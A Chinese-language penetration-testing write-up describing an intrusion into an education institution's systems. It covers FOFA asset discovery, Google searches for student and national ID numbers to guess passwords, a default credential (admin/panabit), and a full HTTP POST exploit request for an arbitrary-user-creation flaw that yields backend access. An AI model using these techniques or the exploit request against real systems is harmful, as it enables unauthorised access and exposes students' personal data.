2026-10-14 15:42:08 网络安全文章来源：ZONE.CI 全球网 0 阅读模式

记一次某edu单位的渗透

原创

1q1ng
1q1ng

蚁景网安

2026年10月12日 17:24
湖南

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

0x01 信息收集

第一步当然是从信息收集开始，因为通常主域名基本不会含有高危漏洞。可以通过子域名->子域名端口扫描的方式去进行一个信息收集用来提高攻击面。这里是用fofa进行攻击面的扩大。（如果fofa脆弱系统较少可以自己爆破子域名+端口1-65535扫描的方式去进行渗透测试）。

然后把资产去重，可以使用关键词用来寻找一些存在漏洞概率高一些的系统。比如搜索有登录的系统，可以添加body=\"登录\"这种关键字去进行查找。比如这里是找到了一个日志系统。

也可以通过google
hack进行搜索学号，身份证之类的信息。可以通过学号身份证这些信息用来登录某些系统，大部分的学校系统的口令格式是学号/身份证后6位。（这里随便找一个案例）

0x02 命令执行

可以根据通用系统的历史漏洞去对该系统进行渗透测试。

首先尝试默认口令进行登录 admin/panabit 未果。

然后建议百度搜索时间设置为一年内，可以省不少时间实际测试感觉一年之前的漏洞修复概率比较高。（可能是一年一次hvv的原因？）

也可以用微信的公众号搜索，比较推荐，因为准确率比较高，都是一些新出的漏洞。

然后使用任意用户创建漏洞添加一个用户

POST /singleuser_action.phpHTTP/1.1
Host: xxxx
Cookie: xxxx
Sec-Ch-Ua: \" Not A;Brand\";v=\"99\", \"Chromium\";v=\"92\"
Accept: */*
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: xxxx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 574

{ \"syncInfo\":{\"user\":{\"userId\":\"001\",\"userName\":
\"001\",\"employeeId\":\"001\",\"departmentId\":\"001\",
\"departmentName\":\"001\",\"coporationId\":\"001\",
\"corporationName\":\"001\",\"userSex\":\"1\",\"userDuty\":\"001\",
\"userBirthday\":\"001\",\"userPost\":\"001\",\"userPostCode\":
\"001\",\"userAlias\":\"001\",\"userRank\":\"001\",\"userPhone\":
\"001\",\"userHomeAddress\":\"001\",\"userMobilePhone\":\"001\",
\"userMailAddress\":\"001\",\"userMSN\":\"001\",\"userNt\":\"001\",
\"userCA\":\"001\",\"userPwd\":\"001\",\"userClass\":\"001\",
\"parentId\":\"001\",\"bxlx\":\"001\"},\"operationType\":
\"ADD_USER\"} }

成功登录后台